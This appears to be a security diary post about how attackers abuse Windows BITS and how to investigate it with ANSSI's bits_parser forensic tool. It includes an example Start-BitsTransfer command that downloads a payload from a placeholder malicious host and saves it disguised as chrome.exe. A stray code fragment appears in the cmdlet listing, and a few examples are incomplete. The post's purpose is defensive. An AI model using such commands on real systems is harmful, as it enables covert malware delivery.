Investigating Microsoft BITS Activity
Last Updated: 2018-01-26 08:32:12 UTC
by Xavier Mertens (Version: 1)
Microsoft BITS (“Background Intelligent Transfer Service”) is a tool present in all modern Microsoft Windows operating systems. As the name says, you can see it as a "curl" or "wget" tool for Windows. It helps to transfer files between a server and a client but it also has plenty of interesting features. Such a tool, being always available, is priceless for attackers. They started to use BITS to grab malicious contents from the Internet. In May 2016, I wrote a diary about a piece of malware that already used BITS. But the tool has many more interesting features (for the good as well the bad guys) like executing a command once the download completed, it can also control the bandwidth used (to remain stealthy).
Previously, there was a command ‘bitsadmin’ available to manage transfers with BITS but it has been deprecated and replaced by a complete integration with PowerShell:
PS C:\> Import-Module BitsTransfer PS C:\> Get-Command *-bits* CommandType Name ----------- ---- Cmdlet Add-BitsFile Cmdlet Complete-BitsTransfer Cmdlet Get-BitsTransfer Cmdlet Remove-BitsTransfer Cmdlet Resume-BitsTransfer Cmdlet Set-BitsTransfer Cmdlet Start-BitsTransfer Cmdlet Suspend-BitsTransfer yield from self.parse()
To create a BITS jobs, just do this:
Start-BitsTransfer -Source http://malicious.server/payload.exe -Destination %APPDATA%/chrome.exe
Note that BITS is used by many third-party tools to download their own updates like AcrobatReader.
BITS is fully integrated within the Microsoft OS and generates events in the EventLog but everybody knows that such pieces of evidence can be easily cleared by the attackers. How to investigate an incident involving file transfer performed via BITS? French researchers from ANSSI had a look at the queue manager files created by BITS. Such files are stored in %%ALLUSERSPROFILE%%\Microsoft\Network\Downloader (Administrative rights are required to access them):
C:\ProgramData\Microsoft\Network\Downloader>dir Volume in drive C has no label. Volume Serial Number is CC68-E0A2 Directory of C:\ProgramData\Microsoft\Network\Downloader 03/10/2016 18:04 <DIR> . 03/10/2016 18:04 <DIR> .. 25/01/2018 18:18 4.194.304 qmgr0.dat 25/01/2018 18:18 4.194.304 qmgr1.dat 2 File(s) 8.388.608 bytes 2 Dir(s) 15.106.048 bytes free
Microsoft does not communicate a lot of information about the format of the file and the ANSSI researchers did a nice job to reverse engineer the format and to create a tool to parse them. The tool is called bits_parser.
Let’s install it using pip and check the available options:
# bits_parser -h Extract BITS jobs from QMGR queue or disk image to CSV file. Usage: bits_parser [options] [-o OUTPUT] FILE Options: --no-carving Disable carving. --disk-image, -i Data input is a disk image. --radiance=VALUE Radiance in kB. [default: 2048] --skip-sampling Skip sampling and load file in memory. --checkpoint=PATH Store disk checkpoint file. --out=OUTPUT, -o OUTPUT Write result to OUTPUT [default: stdout] --verbose, -v More verbosity. --debug Display debug messages. --help, -h Show this screen. --version Show version. # bits_parser -o test.csv qmgr0.dat
Here are two examples of BITS jobs results (one carved, the second not). I reformated the CSV file for more readibility:
|name||WU Client Download|
Good to know, BITS uses a dedicated User-Agent string, easy to spot in our log files:
"x.x" is the version, currently 7.5.
If you're performing investigations involving Windows systems, you should definitively keep an eye on BITS and add bits_parser in your toolbox.
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant